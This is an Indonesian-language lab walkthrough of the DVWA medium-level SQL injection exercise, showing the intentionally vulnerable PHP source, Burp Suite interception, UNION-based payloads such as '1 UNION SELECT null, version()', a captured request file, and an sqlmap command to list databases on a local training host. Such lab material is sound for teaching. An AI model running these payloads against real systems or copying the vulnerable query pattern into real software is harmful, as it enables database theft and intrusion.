# Medium

Di bawah ini adalah *source-code* dari SQL Injection level medium di DVWA.

```php
vulnerabilities/sqli/source/medium.php
<?php
​
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
​
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
​
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
}
​
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
​
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini form yang digunakan adalah bertipe **select** dan method yang digunakan adalah `POST`. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LCuMPG2sHfrhHhmgU%2Fimage.png?alt=media\&token=c4d529a5-7959-4dd0-9519-6e48ceff908b)

Jika kita ubah nilai parameter `id`-nya menjadi `'`, maka pesan *error*-nya akan berbeda dibanding level sebelumnya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LJzucZoVx42ak3IWz%2Fimage.png?alt=media\&token=8493550c-1d35-4ec3-9478-24660a429f07)

Tampilnya pesan *error* ini sudah menandakan bahwa terdapat celah *SQL Injection*. Anda bisa langsung menggunakan tool SQLMap atau secara manual.

Ada penambahan *backslash* (`\`) sebelum karakter `'`. Ini dikarenakan fungsi `mysqli_real_escape_string()` yang melakukan *encoding* pada spesial karakter (bisa dibaca [di sini](https://www.w3schools.com/php/func_mysqli_real_escape_string.asp)).

&#x20;Sehingga sekarang kita tidak bisa menggunakan *payload* pada level sebelumnya.

```
%' or '0' = '0
```

Maka dari itu kita harus menggunakan cara lain, yaitu mencari *payload* yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan **`union`**!

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Kali ini kita akan menggunakan `union` (di sini saya contohkan untuk menampilkan versi DBMS) sebagai *payload*-nya.

```
1 UNION SELECT null, version() 
```

Sehingga hasilnya adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LPD-H20wTyAER22Fq%2Fimage.png?alt=media\&token=422055d2-3cd2-4403-a92a-f65e3c02362a)

DBMS yang digunakan adalah MariaDB 10.1.26.

Sebagai pembiasaan menggunakan *query* `union`, praktekan *query* yang pada level sebelumnya dipelajari.

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method `POST`) adalah dengan bantuan Burp suite, yaitu dengan meng-*intercept request* lalu di salin ke suatu file (contohnya **r.txt**).

```http
r.txt

POST /vulnerabilities/sqli/ HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://172.17.0.2
Connection: close
Referer: http://172.17.0.2/vulnerabilities/sqli/
Cookie: lang=en-US; PHPSESSID=deanteiid9ignilfjtiak17op2; security=medium
Upgrade-Insecure-Requests: 1
i_like_gitea: 11session
​
id=1&Submit=Submit
```

Selanjutnya adalah menjalankan SQLMap:

```
sqlmap -r r.txt --dbs
```

Dan hasilnya akan seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LVBOLkWnFG25FgwsL%2Fimage.png?alt=media\&token=9bf2c699-64f8-4e87-9ae3-46685cba2490)

Setelah itu anda bisa *explore* lebih jauh lagi.😁

Happy Hacking! 🍻
